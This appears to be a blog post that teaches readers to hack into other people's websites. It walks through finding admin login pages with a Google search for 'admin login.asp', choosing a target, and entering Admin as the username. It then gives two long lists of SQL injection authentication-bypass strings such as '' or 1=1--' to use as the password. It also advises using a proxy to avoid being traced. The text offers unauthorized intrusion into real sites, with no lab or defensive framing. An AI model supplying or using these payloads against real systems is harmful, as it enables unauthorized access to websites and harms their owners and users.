First of all open Http://www.google.com then
Write in google search bar "admin login.asp" and then press the search tab.
Now a number of website opened with their admin log in page.
Now click on target website means click on the website you want to hack.Then a page with Username and Password has been opened.
Alot of website have Username=Admin.
Now the main part password if website is made on SQL server or SQLScript then the password is 1'or'1'='1 (including Apostraphy).
Actually it is a SQL injection which breaks the server firewall.Some websitenow gets developed in to Strong Code so It not work on them.But there are several injection other than above you may also check them
It may take time but you got your goal i.e you got administration of websiteyou become honour.
Always use proxy otherwise you will be traced by Cyber Inspection and get some serious problem.
Other injection along with username (sometime it does not depend upon username just on injection) are listed below:
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
this might take a while to try all of them,
but, what the heq, its worth it.
New
Injection type:
Code:
user:admin (what ever you want)
pass:' or 1=1--
Code:
user:' or 1=1--
admin:' or 1=1--
Others:
Code:
'
'or''='
admin'--
' or 0=0 --
" or 0=0 --
or 0=0 --
' or 0=0 #
" or 0=0 #
or 0=0 #
' or 'x'='x
" or "x"="x
') or ('x'='x
' or 1=1--
" or 1=1--
or 1=1--
' or a=a--
" or "a"="a
') or ('a'='a
") or ("a"="a
hi" or "a"="a
hi" or 1=1 --
hi' or 1=1 --
hi' or 'a'='a
hi') or ('a'='a
hi") or ("a"="a
Originally By HACKERX.
No comments:
Post a Comment